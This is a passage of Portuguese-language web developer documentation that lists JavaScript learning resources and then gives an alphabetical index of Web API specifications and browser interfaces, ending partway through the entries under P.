matrizes.\n\nConstruindo blocos com JavaScript\n\nNeste módulo, continuamos a nossa cobertura de todos os recursos fundamentais do JavaScript, voltando a nossa atenção para os tipos de códigos comumente encontrados, como declarações condicionais, laços, funções e eventos. Você já viu esses tópicos no curso, mas apenas de passagem - aqui vamos discutir tudo de forma explícita.\n\nComeçando com JavaScript\n\nO que é JavaScript e como pode lhe ajudar?\n\n**Codecademy (Codecademy)**\n\nCodecademy é uma maneira fácil de aprender como codificar em JavaScript. É interativo e você pode aprender junto dos seus amigos.\n\n### Nível intermediário\n\nIntrodução a objetos em JavaScript\n\nEm JavaScript, a maioria das coisas são objetos, desde recursos do núcleo do JavaScript como strings e arrays até APIs do navegador construídas em JavaScript. Você pode criar sues próprios objetos para encapsular funções e variáveis dentro de pacotes. A natureza orientada a objetos do JavaScript é importante se você quer ir a fundo com seu conhecimento na linguagem e escrever códigos mais eficientes, então nós fornecemos este módulo para ajudar você. Aqui você aprende a teoria de orientação a objetos em detalhes, vê como criar seus próprios objetos, e explicamos o que são dados JSON e como trabalhar com eles.\n\nAPIs da web do lado do cliente\n\nQuando se programa em JavaScript do lado do cliente (*client-side*) para sites ou aplicações web, voce não vai muito longe antes de precisar usar APIs - interfaces para manipular diferentes aspectos do navegador e do sistema operacional onde o site está executando, ou mesmo dados de outro serviço da web ou site. Neste módulo nós vamos explorar o que são APIs e como usar algumas das APIs mais comuns que você encontrará frequentemente eu seu trabalho.\n\n**Uma Reintrodução ao JavaScript**\n\nUma recapitulação da linguagem de programação JavaScript destinada a desenvolvedores de nível intermediário.\n\n**JavaScript Eloquente**\n\nUm guia compreensivo para metodologias intermediárias e avançadas em JavaScript.\n\n**Falando JavaScript (Dr. Axel Rauschmayer)**\n\nPara programadores que querem aprender JavaScript de uma maneira focada e rápida e para os desenvolvedores que buscam aprimorar suas habilidades ou procuram se aprofundar em um tópico.\n\n**Padrões de Design Essenciais em JavaScript (Addy Osmani)**\n\nUma introdução para padrões de design essenciais em JavaScript.\n\n### Nível avançado\n\nGuia de JavaScript\n\nUm guia completo, atualizado regularmente, de JavaScript para todos os níveis de ensino, do básico ao avançado.\n\n**Você não conhece JS (Kyle Simpson)**\n\nUma série de livros que mergulham profundamente nos principais mecanismos da linguagem JavaScript.\n\n**JavaScript Garden**\n\nDocumentação de partes mais peculiares do JavaScript.\n\n**Explorando ES6 (Dr. Axel Rauschmayer)**\n\nInformações profundas e confiáveis sobre ECMAScript 2015.\n\n**Padrões JavaScipt**\n\nUma coleção de padrões e antipadrões que cobre padrões de funções, padrões jQuery, padrões de plugins jQuery, padrões de design, padões em geral, padrões de literais e construtores, padrões de criação de objetos, padrões de reuso de código e DOM.\n\n**Como navegadores trabalham**\n\nUm artigo detalhado descrevendo diferentes navegadores modernos, seus motores, renderização de páginas, etc.\n\nVídeos sobre JavaScript (GitHub)\n\nUma coleção de vídeos sobre JavaScript para se aprofundar no assunto.\n\n### Estendendo o desenvolvimento\n\nWebExtensions\n\nWebExtensions é um sistema entre navegadores para desenvolver complementos de navegador. Em larga escala o sistema é compatível com a API de extensão suportada pelos navegadores Google Chrome e Opera. Extensões escritas para estes navegadores na maioria dos casos funcionam no Firefox ou Microsoft Edge com poucas mudanças. A API é também completamente compatível com multiprocessos Firefox."}
{"title":"APIs da Web","text":"APIs da Web\n===========\n\nAo escrever código para a Web, há muitas APIs da Web disponíveis. Abaixo está uma lista de todas as APIs e interfaces (tipos de objeto) que você pode usar ao desenvolver seu aplicativo ou site da Web.\n\nAs APIs da Web são normalmente usadas com JavaScript, embora isso nem sempre tenha que ser o caso.\n\nEspecificações\n--------------\n\nEsta é uma lista de todas as APIs disponíveis.\n\n### A\n\n* Audio Output Devices API \nExperimental\n\n### B\n\n* Background Fetch API \nExperimental\n* Background Sync (en-US) \nExperimental\n* Background Tasks (en-US)\n* Badging API (en-US)\n* Barcode Detection API (en-US) \nExperimental\n* Battery API\n* Beacon\n* Bluetooth API (en-US) \nExperimental\n* Broadcast Channel API (en-US)\n\n### C\n\n* CSS Counter Styles (en-US)\n* CSS Custom Highlight API (en-US)\n* CSS Font Loading API (en-US)\n* CSS Painting API (en-US) \nExperimental\n* CSS Properties and Values API (en-US)\n* CSS Typed Object Model API (en-US)\n* CSSOM\n* Canvas API\n* Channel Messaging API (en-US)\n* Clipboard API (en-US)\n* Compression Streams API (en-US)\n* Console API\n* Contact Picker API (en-US) \nExperimental\n* Content Index API (en-US) \nExperimental\n* Cookie Store API (en-US) \nExperimental\n* Credential Management API (en-US)\n\n### D\n\n* DOM\n* Device Memory API (en-US)\n* Device Orientation Events (en-US)\n* Document Picture-in-Picture API (en-US) \nExperimental\n\n### E\n\n* EditContext API (en-US) \nExperimental\n* Encoding API\n* Encrypted Media Extensions (en-US)\n* EyeDropper API (en-US) \nExperimental\n\n### F\n\n* FedCM API (en-US) \nExperimental\n* Fetch API\n* File API (en-US)\n* File System API (en-US)\n* File and Directory Entries API (en-US)\n* Force Touch Events (en-US) \nNon-standard\n* Fullscreen API (en-US)\n\n### G\n\n* Gamepad API\n* Geolocation API\n* Geometry Interfaces (en-US)\n\n### H\n\n* HTML DOM (en-US)\n* HTML Drag and Drop API\n* HTML Sanitizer API (en-US) \nExperimental\n* History API\n* Houdini API (en-US)\n\n### I\n\n* Idle Detection API (en-US) \nExperimental\n* Image Capture API (en-US) \nExperimental\n* IndexedDB\n* Ink API (en-US) \nExperimental\n* Input Device Capabilities API (en-US) \nExperimental\n* Insertable Streams for MediaStreamTrack API (en-US)\n* Intersection Observer API (en-US)\n\n### K\n\n* Keyboard API (en-US) \nExperimental\n\n### L\n\n* Launch Handler API (en-US) \nExperimental\n* Local Font Access API (en-US) \nExperimental\n\n### M\n\n* Media Capabilities API (en-US)\n* Media Capture and Streams (en-US)\n* Media Session API (en-US)\n* Media Source Extensions (en-US) \nExperimental\n* MediaStream Recording (en-US)\n\n### N\n\n* Navigation API (en-US) \nExperimental\n* Network Information API \nExperimental\n\n### P\n\n* Page Visibility API\n* Payment Handler API (en-US) \nExperimental\n* Payment Request API (en-US)\n* Performance API (en-US)\n* Periodic Background Sync (en-US) \nExperimental\n* Permissions API (en-US)\n* Picture-in-Picture API (en-US)\n* Pointer Events (en-US)\n* Pointer Lock API (en-US)\n* Popover API (en-US)\n* Presentation API (en-US) \nExperimental\n* Prioritized Task Scheduling API (en-US)\n* Push API\n\n### R\n\n* Remote Playback API (en-US)\n* Reporting API (en-US) \nExperimental\n* Resize Observer API (en-US)\n\n### S\n\n* SVG (en-US)\n* Screen Capture API (en-US)\n* Screen Orientation API (en-US)\n* Screen Wake Lock API (en-US)\n* Selection API (en-US)\n* Sensor API (en-US)\n* Server Sent Events (en-US)\n* Service Workers API\n* Shared Storage API (en-US) \nExperimental\n* Speculation Rules API (en-US) \nExperimental\n* Storage (en-US)\n* Storage Access API (en-US)\n* Streams\n\n### T\n\n* Touch Events\n* Trusted Types API (en-US)\n\n### U\n\n* UI Events (en-US)\n* URL API (en-US)\n* URL Pattern API (en-US) \nExperimental\n* User-Agent Client Hints API (en-US) \nExperimental\n\n### V\n\n* Vibration API (en-US)\n* View Transitions API (en-US) \nExperimental\n* VirtualKeyboard API (en-US) \nExperimental\n* Visual Viewport (en-US)\n\n### W\n\n* Web Animations (en-US)\n* Web Audio API\n* Web Authentication API (en-US)\n* Web Components\n* Web Crypto API\n* Web Locks API (en-US)\n* Web MIDI API (en-US)\n* Web NFC API (en-US) \nExperimental\n* Web Notifications (en-US)\n* Web Serial API (en-US) \nExperimental\n* Web Share API (en-US)\n* Web Speech API (en-US)\n* Web Storage API\n* Web Workers API\n* WebCodecs API (en-US)\n* WebGL\n* WebGPU API (en-US) \nExperimental\n* WebHID API (en-US) \nExperimental\n* WebOTP API (en-US)\n* WebRTC\n* WebTransport API (en-US)\n* WebUSB API (en-US) \nExperimental\n* WebVR API \nNon-standard\n\nDeprecated\n* WebVTT (en-US)\n* WebXR Device API (en-US) \nExperimental\n* Websockets API\n* Window Controls Overlay API (en-US) \nExperimental\n* Window Management API (en-US) \nExperimental\n\n### X\n\n* XMLHttpRequest API (en-US)\n\nInterfaces\n----------\n\nEsta é uma lista de todas as interfaces (isto é, tipos de objetos) disponíveis.\n\n### A\n\n* `AbortController` (en-US)\n* `AbortSignal`\n* `AbsoluteOrientationSensor` (en-US)\n* `AbstractRange` (en-US)\n* `Accelerometer` (en-US) \nExperimental\n* `AesCbcParams` (en-US)\n* `AesCtrParams` (en-US)\n* `AesGcmParams` (en-US)\n* `AesKeyGenParams` (en-US)\n* `AmbientLightSensor` (en-US) \nExperimental\n* `AnalyserNode` (en-US)\n* `ANGLE_instanced_arrays`\n* `Animation`\n* `AnimationEffect` (en-US)\n* `AnimationEvent`\n* `AnimationPlaybackEvent` (en-US)\n* `AnimationTimeline` (en-US)\n* `Attr`\n* `AudioBuffer` (en-US)\n* `AudioBufferSourceNode` (en-US)\n* `AudioContext`\n* `AudioData` (en-US) \nExperimental\n* `AudioDecoder` (en-US) \nExperimental\n* `AudioDestinationNode` (en-US)\n* `AudioEncoder` (en-US) \nExperimental\n* `AudioListener` (en-US)\n* `AudioNode`\n* `AudioParam` (en-US)\n* `AudioParamDescriptor` (en-US)\n* `AudioParamMap` (en-US)\n* `AudioProcessingEvent` (en-US) \nDeprecated\n* `AudioScheduledSourceNode` (en-US)\n* `AudioSinkInfo` (en-US) \nExperimental\n* `AudioTrack` (en-US)\n* `AudioTrackList` (en-US)\n* `AudioWorklet` (en-US)\n* `AudioWorkletGlobalScope` (en-US)\n* `AudioWorkletNode` (en-US)\n* `AudioWorkletProcessor` (en-US)\n* `AuthenticatorAssertionResponse` (en-US)\n* `AuthenticatorAttestationResponse` (en-US)\n* `AuthenticatorResponse` (en-US)\n\n### B\n\n* `BackgroundFetchEvent` (en-US) \nExperimental\n* `BackgroundFetchManager` (en-US) \nExperimental\n* `BackgroundFetchRecord` (en-US) \nExperimental\n* `BackgroundFetchRegistration` (en-US) \nExperimental\n* `BackgroundFetchUpdateUIEvent` (en-US) \nExperimental\n* `BarcodeDetector` (en-US) \nExperimental\n* `BarProp` (en-US)\n* `BaseAudioContext` (en-US)\n* `BatteryManager`\n* `BeforeInstallPromptEvent` (en-US) \nExperimental\n\nNon-standard\n* `BeforeUnloadEvent` (en-US)\n* `BiquadFilterNode`\n* `Blob`\n* `BlobEvent` (en-US)\n* `Bluetooth` (en-US) \nExperimental\n* `BluetoothCharacteristicProperties` (en-US) \nExperimental\n* `BluetoothDevice` (en-US) \nExperimental\n* `BluetoothRemoteGATTCharacteristic` (en-US) \nExperimental\n* `BluetoothRemoteGATTDescriptor` (en-US) \nExperimental\n* `BluetoothRemoteGATTServer` (en-US) \nExperimental\n* `BluetoothRemoteGATTService` (en-US) \nExperimental\n* `BluetoothUUID` (en-US)\n* `BroadcastChannel`\n* `ByteLengthQueuingStrategy` (en-US)\n\n### C\n\n* `Cache`\n* `CacheStorage` (en-US)\n* `CanMakePaymentEvent` (en-US) \nExperimental\n* `CanvasCaptureMediaStreamTrack` (en-US)\n* `CanvasGradient` (en-US)\n* `CanvasPattern` (en-US)\n* `CanvasRenderingContext2D`\n* `CaptureController` (en-US) \nExperimental\n* `CaretPosition` (en-US) \nExperimental\n* `CDATASection` (en-US)\n* `ChannelMergerNode` (en-US)\n* `ChannelSplitterNode` (en-US)\n* `CharacterBoundsUpdateEvent` (en-US) \nExperimental\n* `CharacterData`\n* `Client` (en-US)\n* `Clients` (en-US)\n* `Clipboard` (en-US)\n* `ClipboardEvent`\n* `ClipboardItem` (en-US)\n* `CloseEvent`\n* `Comment` (en-US)\n* `CompositionEvent` (en-US)\n* `CompressionStream` (en-US)\n* `console`\n* `ConstantSourceNode` (en-US)\n* `ContactAddress` (en-US) \nExperimental\n* `ContactsManager` (en-US) \nExperimental\n* `ContentIndex` (en-US) \nExperimental\n* `ContentIndexEvent` (en-US) \nExperimental\n* `ContentVisibilityAutoStateChangeEvent` (en-US) \nExperimental\n* `ConvolverNode` (en-US)\n* `CookieChangeEvent` (en-US) \nExperimental\n* `CookieStore` (en-US) \nExperimental\n* `CookieStoreManager` (en-US) \nExperimental\n* `CountQueuingStrategy` (en-US)\n* `Credential` (en-US)\n* `CredentialsContainer` (en-US)\n* `Crypto`\n* `CryptoKey`\n* `CryptoKeyPair` (en-US)\n* `CSPViolationReportBody` (en-US)\n* `CSS`\n* `CSSAnimation` (en-US)\n* `CSSConditionRule` (en-US)\n* `CSSContainerRule` (en-US)\n* `CSSCounterStyleRule` (en-US)\n* `CSSFontFaceRule` (en-US)\n* `CSSFontFeatureValuesRule` (en-US)\n* `CSSFontPaletteValuesRule` (en-US)\n* `CSSGroupingRule` (en-US)\n* `CSSImageValue` (en-US)\n* `CSSImportRule` (en-US)\n* `CSSKeyframeRule` (en-US)\n* `CSSKeyframesRule` (en-US)\n* `CSSKeywordValue` (en-US)\n* `CSSLayerBlockRule` (en-US)\n* `CSSLayerStatementRule` (en-US)\n* `CSSMathInvert` (en-US)\n* `CSSMathMax` (en-US)\n* `CSSMathMin` (en-US)\n* `CSSMathNegate` (en-US)\n* `CSSMathProduct` (en-US)\n* `CSSMathSum` (en-US)\n* `CSSMathValue` (en-US)\n* `CSSMatrixComponent` (en-US)\n* `CSSMediaRule` (en-US)\n* `CSSNamespaceRule` (en-US)\n* `CSSNumericArray` (en-US)\n* `CSSNumericValue` (en-US)\n* `CSSPageRule` (en-US)\n* `CSSPerspective` (en-US)\n* `CSSPositionValue` (en-US) \nNon-standard\n\nDeprecated\n* `CSSPrimitiveValue` (en-US) \nDeprecated\n* `CSSPropertyRule` (en-US)\n* `CSSPseudoElement` (en-US) \nExperimental\n* `CSSRotate` (en-US)\n* `CSSRule` (en-US)\n* `CSSRuleList` (en-US)\n* `CSSScale` (en-US)\n* `CSSScopeRule` (en-US) \nExperimental\n* `CSSSkew` (en-US)\n* `CSSSkewX` (en-US)\n* `CSSSkewY` (en-US)\n* `CSSStartingStyleRule` (en-US) \nExperimental\n* `CSSStyleDeclaration` (en-US)\n* `CSSStyleRule` (en-US)\n* `CSSStyleSheet` (en-US)\n* `CSSStyleValue` (en-US)\n* `CSSSupportsRule` (en-US)\n* `CSSTransformComponent` (en-US)\n* `CSSTransformValue` (en-US)\n* `CSSTransition` (en-US)\n* `CSSTranslate` (en-US)\n* `CSSUnitValue` (en-US)\n* `CSSUnparsedValue` (en-US)\n* `CSSValue` (en-US) \nDeprecated\n* `CSSValueList` (en-US) \nDeprecated\n* `CSSVariableReferenceValue` (en-US)\n* `CustomElementRegistry`\n* `CustomEvent` (en-US)\n* `CustomStateSet` (en-US) \nExperimental\n\n### D\n\n* `DataTransfer`\n* `DataTransferItem` (en-US)\n* `DataTransferItemList` (en-US)\n* `DecompressionStream` (en-US)\n* `DedicatedWorkerGlobalScope` (en-US)\n* `DelayNode` (en-US)\n* `DeprecationReportBody` (en-US) \nExperimental\n* `DeviceMotionEvent` (en-US)\n* `DeviceMotionEventAcceleration`\n* `DeviceMotionEventRotationRate`\n* `DeviceOrientationEvent` (en-US)\n* `DirectoryEntrySync` (en-US) \nNon-standard\n\nDeprecated\n* `DirectoryReaderSync` (en-US) \nNon-standard\n\nDeprecated\n* `Document`\n* `DocumentFragment`\n* `DocumentPictureInPicture` (en-US) \nExperimental\n* `DocumentPictureInPictureEvent` (en-US) \nExperimental\n* `DocumentTimeline` (en-US)\n* `DocumentType` (en-US)\n* `DOMError` (en-US) \nDeprecated\n* `DOMException` (en-US)\n* `DOMHighResTimeStamp` (en-US)\n* `DOMImplementation` (en-US)\n* `DOMMatrix` (WebKitCSSMatrix) (en-US)\n* `DOMMatrixReadOnly` (en-US)\n* `DOMParser` (en-US)\n* `DOMPoint` (en-US)\n* `DOMPointReadOnly` (en-US)\n* `DOMQuad` (en-US)\n* `DOMRect` (en-US)\n* `DOMRectReadOnly` (en-US)\n* `DOMStringList`\n* `DOMStringMap`\n* `DOMTokenList` (en-US)\n* `DragEvent` (en-US)\n* `DynamicsCompressorNode` (en-US)\n\n### E\n\n* `EcdhKeyDeriveParams` (en-US)\n* `EcdsaParams` (en-US)\n* `EcKeyGenParams` (en-US)\n* `EcKeyImportParams` (en-US)\n* `EditContext` (en-US) \nExperimental\n* `Element`\n* `ElementInternals` (en-US)\n* `EncodedAudioChunk` (en-US) \nExperimental\n* `EncodedVideoChunk` (en-US)\n* `ErrorEvent` (en-US)\n* `Event`\n* `EventCounts` (en-US)\n* `EventSource`\n* `EventTarget`\n* `ExtendableCookieChangeEvent` (en-US)\n* `ExtendableEvent` (en-US)\n* `ExtendableMessageEvent` (en-US)\n* `EyeDropper` (en-US) \nExperimental\n\n### F\n\n* `FeaturePolicy` (en-US) \nExperimental\n* `FederatedCredential` (en-US) \nExperimental\n* `FetchEvent` (en-US)\n* `File`\n* `FileEntrySync` (en-US) \nNon-standard\n\nDeprecated\n* `FileList`\n* `FileReader`\n* `FileReaderSync` (en-US)\n* `FileSystem` (en-US)\n* `FileSystemDirectoryEntry` (en-US)\n* `FileSystemDirectoryHandle` (en-US)\n* `FileSystemDirectoryReader` (en-US)\n* `FileSystemEntry` (en-US)\n* `FileSystemFileEntry` (en-US)\n* `FileSystemFileHandle` (en-US)\n* `FileSystemHandle` (en-US)\n* `FileSystemSync` (en-US) \nNon-standard\n\nDeprecated\n* `FileSystemSyncAccessHandle` (en-US)\n* `FileSystemWritableFileStream` (en-US)\n* `FocusEvent` (en-US)\n* `FontData` (en-US) \nExperimental\n* `FontFace` (en-US)\n* `FontFaceSet` (en-US)\n* `FontFaceSetLoadEvent` (en-US)\n* `FormData`\n* `FormDataEvent` (en-US)\n* `FragmentDirective` (en-US) \nExperimental\n\n### G\n\n* `GainNode` (en-US)\n* `Gamepad` (en-US)\n* `GamepadButton` (en-US)\n* `GamepadEvent` (en-US)\n* `GamepadHapticActuator` (en-US)\n* `GamepadPose` (en-US) \nExperimental\n* `Geolocation`\n* `GeolocationCoordinates`\n* `GeolocationPosition`\n* `GeolocationPositionError`\n* `GestureEvent` (en-US) \nNon-standard\n* `GPU` (en-US) \nExperimental\n* `GPUAdapter` (en-US) \nExperimental\n* `GPUAdapterInfo` (en-US) \nExperimental\n* `GPUBindGroup` (en-US) \nExperimental\n* `GPUBindGroupLayout` (en-US) \nExperimental\n* `GPUBuffer` (en-US) \nExperimental\n* `GPUCanvasContext` (en-US) \nExperimental\n* `GPUCommandBuffer` (en-US) \nExperimental\n* `GPUCommandEncoder` (en-US) \nExperimental\n* `GPUCompilationInfo` (en-US) \nExperimental\n* `GPUCompilationMessage` (en-US) \nExperimental\n* `GPUComputePassEncoder` (en-US) \nExperimental\n* `GPUComputePipeline` (en-US) \nExperimental\n* `GPUDevice` (en-US) \nExperimental\n* `GPUDeviceLostInfo` (en-US) \nExperimental\n* `GPUError` (en-US) \nExperimental\n* `GPUExternalTexture` (en-US) \nExperimental\n* `GPUInternalError` (en-US) \nExperimental\n* `GPUOutOfMemoryError` (en-US) \nExperimental\n* `GPUPipelineError` (en-US) \nExperimental\n* `GPUPipelineLayout` (en-US) \nExperimental\n* `GPUQuerySet` (en-US) \nExperimental\n* `GPUQueue` (en-US) \nExperimental\n* `GPURenderBundle` (en-US) \nExperimental\n* `GPURenderBundleEncoder` (en-US) \nExperimental\n* `GPURenderPassEncoder` (en-US) \nExperimental\n* `GPURenderPipeline` (en-US) \nExperimental\n* `GPUSampler` (en-US) \nExperimental\n* `GPUShaderModule` (en-US) \nExperimental\n* `GPUSupportedFeatures` (en-US) \nExperimental\n* `GPUSupportedLimits` (en-US) \nExperimental\n* `GPUTexture` (en-US) \nExperimental\n* `GPUTextureView` (en-US) \nExperimental\n* `GPUUncapturedErrorEvent` (en-US) \nExperimental\n* `GPUValidationError` (en-US) \nExperimental\n* `GravitySensor` (en-US)\n* `Gyroscope` (en-US)\n\n### H\n\n* `HashChangeEvent` (en-US)\n* `Headers` (en-US)\n* `HID` (en-US) \nExperimental\n* `HIDConnectionEvent` (en-US) \nExperimental\n* `HIDDevice` (en-US) \nExperimental\n* `HIDInputReportEvent` (en-US) \nExperimental\n* `Highlight` (en-US)\n* `HighlightRegistry` (en-US)\n* `History` (en-US)\n* `HkdfParams` (en-US)\n* `HmacImportParams` (en-US)\n* `HmacKeyGenParams` (en-US)\n* `HMDVRDevice` (en-US) \nNon-standard\n\nDeprecated\n* `HTMLAllCollection` (en-US)\n* `HTMLAnchorElement` (en-US)\n* `HTMLAreaElement` (en-US)\n* `HTMLAudioElement` (en-US)\n* `HTMLBaseElement` (en-US)\n* `HTMLBodyElement` (en-US)\n* `HTMLBRElement` (en-US)\n* `HTMLButtonElement` (en-US)\n* `HTMLCanvasElement` (en-US)\n* `HTMLCollection`\n* `HTMLDataElement` (en-US)\n* `HTMLDataListElement` (en-US)\n* `HTMLDetailsElement` (en-US)\n* `HTMLDialogElement` (en-US)\n* `HTMLDivElement`\n* `HTMLDListElement` (en-US)\n* `HTMLDocument` (en-US)\n* `HTMLElement` (en-US)\n* `HTMLEmbedElement` (en-US)\n* `HTMLFieldSetElement` (en-US)\n* `HTMLFontElement` (en-US) \nDeprecated\n* `HTMLFormControlsCollection` (en-US)\n* `HTMLFormElement` (en-US)\n* `HTMLFrameSetElement` (en-US) \nDeprecated\n* `HTMLHeadElement` (en-US)\n* `HTMLHeadingElement` (en-US)\n* `HTMLHRElement` (en-US)\n* `HTMLHtmlElement` (en-US)\n* `HTMLIFrameElement` (en-US)\n* `HTMLImageElement` (en-US)\n* `HTMLInputElement`\n* `HTMLLabelElement` (en-US)\n* `HTMLLegendElement` (en-US)\n* `HTMLLIElement` (en-US)\n* `HTMLLinkElement` (en-US)\n* `HTMLMapElement` (en-US)\n* `HTMLMarqueeElement` (en-US) \nDeprecated\n* `HTMLMediaElement` (en-US)\n* `HTMLMenuElement` (en-US)\n* `HTMLMenuItemElement` (en-US) \nNon-standard\n\nDeprecated\n* `HTMLMetaElement` (en-US)\n* `HTMLMeterElement` (en-US)\n* `HTMLModElement` (en-US)\n* `HTMLObjectElement` (en-US)\n* `HTMLOListElement` (en-US)\n* `HTMLOptGroupElement` (en-US)\n* `HTMLOptionElement` (en-US)\n* `HTMLOptionsCollection` (en-US)\n* `HTMLOutputElement` (en-US)\n* `HTMLParagraphElement` (en-US)\n* `HTMLParamElement` (en-US) \nDeprecated\n* `HTMLPictureElement` (en-US)\n* `HTMLPreElement` (en-US)\n* `HTMLProgressElement` (en-US)\n* `HTMLQuoteElement` (en-US)\n* `HTMLScriptElement` (en-US)\n* `HTMLSelectElement` (en-US)\n* `HTMLSlotElement`\n* `HTMLSourceElement` (en-US)\n* `HTMLSpanElement`\n* `HTMLStyleElement` (en-US)\n* `HTMLTableCaptionElement` (en-US)\n* `HTMLTableCellElement` (en-US)\n* `HTMLTableColElement` (en-US)\n* `HTMLTableElement` (en-US)\n* `HTMLTableRowElement` (en-US)\n* `HTMLTableSectionElement` (en-US)\n* `HTMLTemplateElement` (en-US)\n* `HTMLTextAreaElement` (en-US)\n* `HTMLTimeElement` (en-US)\n* `HTMLTitleElement` (en-US)\n* `HTMLTrackElement` (en-US)\n* `HTMLUListElement` (en-US)\n* `HTMLUnknownElement` (en-US)\n* `HTMLVideoElement` (en-US)\n\n### I\n\n* `IDBCursor`\n* `IDBCursorWithValue` (en-US)\n* `IDBDatabase` (en-US)\n* `IDBFactory`\n* `IDBIndex` (en-US)\n* `IDBKeyRange` (en-US)\n* `IDBLocaleAwareKeyRange` (en-US) \nExperimental\n\nNon-standard\n* `IDBObjectStore` (en-US)\n* `IDBOpenDBRequest` (en-US)\n* `IDBRequest` (en-US)\n* `IDBTransaction` (en-US)\n* `IDBVersionChangeEvent` (en-US)\n* `IdentityCredential` (en-US) \nExperimental\n* `IdentityProvider` (en-US) \nExperimental\n* `IdleDeadline` (en-US)\n* `IdleDetector` (en-US) \nExperimental\n* `IIRFilterNode` (en-US)\n* `ImageBitmap` (en-US)\n* `ImageBitmapRenderingContext` (en-US)\n* `ImageCapture` \nExperimental\n* `ImageData` (en-US)\n* `ImageDecoder` (en-US) \nExperimental\n* `ImageTrack` (en-US) \nExperimental\n* `ImageTrackList` (en-US) \nExperimental\n* `Ink` (en-US) \nExperimental\n* `InkPresenter` (en-US) \nExperimental\n* `InputDeviceCapabilities` (en-US) \nExperimental\n* `InputDeviceInfo` (en-US)\n* `InputEvent` (en-US)\n* `InstallEvent` (en-US) \nNon-standard\n\nDeprecated\n* `IntersectionObserver` (en-US)\n* `IntersectionObserverEntry` (en-US)\n* `InterventionReportBody` (en-US) \nExperimental\n\n### K\n\n* `Keyboard` (en-US) \nExperimental\n* `KeyboardEvent` (en-US)\n* `KeyboardLayoutMap` (en-US) \nExperimental\n* `KeyframeEffect` (en-US)\n\n### L\n\n* `LargestContentfulPaint` (en-US)\n* `LaunchParams` (en-US) \nExperimental\n* `LaunchQueue` (en-US) \nExperimental\n* `LayoutShift` (en-US) \nExperimental\n* `LayoutShiftAttribution` (en-US) \nExperimental\n* `LinearAccelerationSensor` (en-US)\n* `Location`\n* `Lock` (en-US)\n* `LockManager` (en-US)\n\n### M\n\n* `Magnetometer` (en-US) \nExperimental\n* `MathMLElement` (en-US)\n* `MediaCapabilities` (en-US)\n* `MediaDeviceInfo` (en-US)\n* `MediaDevices`\n* `MediaElementAudioSourceNode` (en-US)\n* `MediaEncryptedEvent` (en-US)\n* `MediaError` (en-US)\n* `MediaKeyMessageEvent` (en-US)\n* `MediaKeys` (en-US)\n* `MediaKeySession` (en-US)\n* `MediaKeyStatusMap` (en-US)\n* `MediaKeySystemAccess` (en-US)\n* `MediaList` (en-US)\n* `MediaMetadata` (en-US)\n* `MediaQueryList` (en-US)\n* `MediaQueryListEvent` (en-US)\n* `MediaRecorder` (en-US)\n* `MediaRecorderErrorEvent` (en-US) \nNon-standard\n\nDeprecated\n* `MediaSession` (en-US)\n* `MediaSource` (en-US)\n* `MediaSourceHandle` (en-US) \nExperimental\n* `MediaStream` (en-US)\n* `MediaStreamAudioDestinationNode` (en-US)\n* `MediaStreamAudioSourceNode` (en-US)\n* `MediaStreamEvent` (en-US) \nNon-standard\n\nDeprecated\n* `MediaStreamTrack` (en-US)\n* `MediaStreamTrackAudioSourceNode` (en-US)\n* `MediaStreamTrackEvent` (en-US)\n* `MediaStreamTrackGenerator` (en-US) \nExperimental\n\nNon-standard\n* `MediaStreamTrackProcessor` (en-US) \nExperimental\n* `MediaTrackConstraints` (en-US)\n* `MediaTrackSettings` (en-US)\n* `MediaTrackSupportedConstraints` (en-US)\n* `MerchantValidationEvent` (en-US) \nDeprecated\n* `MessageChannel`\n* `MessageEvent` (en-US)\n* `MessagePort` (en-US)\n* `Metadata` (en-US) \nExperimental\n\nNon-standard\n* `MIDIAccess` (en-US)\n* `MIDIConnectionEvent` (en-US)\n* `MIDIInput` (en-US)\n* `MIDIInputMap` (en-US)\n* `MIDIMessageEvent` (en-US)\n* `MIDIOutput` (en-US)\n* `MIDIOutputMap` (en-US)\n* `MIDIPort` (en-US)\n* `MimeType` (en-US) \nDeprecated\n* `MimeTypeArray` (en-US) \nDeprecated\n* `MouseEvent`\n* `MouseScrollEvent` (en-US) \nNon-standard\n\nDeprecated\n* `MutationEvent` (en-US) \nDeprecated\n* `MutationObserver`\n* `MutationRecord` (en-US)\n\n### N\n\n* `NamedNodeMap` (en-US)\n* `NavigateEvent` (en-US) \nExperimental\n* `Navigation` (en-US) \nExperimental\n* `NavigationCurrentEntryChangeEvent` (en-US) \nExperimental\n* `NavigationDestination` (en-US) \nExperimental\n* `NavigationHistoryEntry` (en-US) \nExperimental\n* `NavigationPreloadManager` (en-US)\n* `NavigationTransition` (en-US) \nExperimental\n* `Navigator` (en-US)\n* `NavigatorUAData` (en-US) \nExperimental\n* `NDEFMessage` (en-US) \nExperimental\n* `NDEFReader` (en-US) \nExperimental\n* `NDEFReadingEvent` (en-US) \nExperimental\n* `NDEFRecord` (en-US) \nExperimental\n* `NetworkInformation` (en-US) \nExperimental\n* `Node`\n* `NodeIterator` (en-US)\n* `NodeList`\n* `Notification`\n* `NotificationEvent` (en-US)\n\n### O\n\n* `OES_draw_buffers_indexed` (en-US)\n* `OfflineAudioCompletionEvent` (en-US)\n* `OfflineAudioContext`\n* `OffscreenCanvas` (en-US)\n* `OffscreenCanvasRenderingContext2D` (en-US)\n* `OrientationSensor` (en-US)\n* `OscillatorNode` (en-US)\n* `OTPCredential` (en-US) \nExperimental\n* `OverconstrainedError` (en-US)\n\n### P\n\n* `PageTransitionEvent` (en-US)\n* `PaintWorkletGlobalScope` (en-US) \nExperimental\n* `PannerNode` (en-US)\n* `PasswordCredential` (en-US) \nExperimental\n* `Path2D`\n* `PaymentAddress` (en-US) \nNon-standard\n\nDeprecated\n* `PaymentManager` (en-US) \nExperimental\n* `PaymentMethodChangeEvent` (en-US)\n* `PaymentRequest` (en-US)\n* `PaymentRequestEvent` (en-US) \nExperimental\n* `PaymentRequestUpdateEvent` (en-US)\n* `PaymentResponse` (en-US)\n* `Pbkdf2Params` (en-US)\n* `Performance` (en-US)\n* `PerformanceElementTiming` (en-US) \nExperimental\n* `PerformanceEntry` (en-US)\n* `PerformanceEventTiming` (en-US)\n* `PerformanceLongTaskTiming` (en-US) \nExperimental\n* `PerformanceMark` (en-US)\n* `PerformanceMeasure` (en-US)\n* `PerformanceNavigation` (en-US) \nDeprecated\n* `PerformanceNavigationTiming` (en-US)\n* `PerformanceObserver` (en-US)\n* `PerformanceObserverEntryList` (en-US)\n* `PerformancePaintTiming` (en-US)\n* `PerformanceResourceTiming` (en-US)\n* `PerformanceServerTiming` (en-US)\n* `PerformanceTiming` (en-US) \nDeprecated\n* `PeriodicSyncEvent` (en-US) 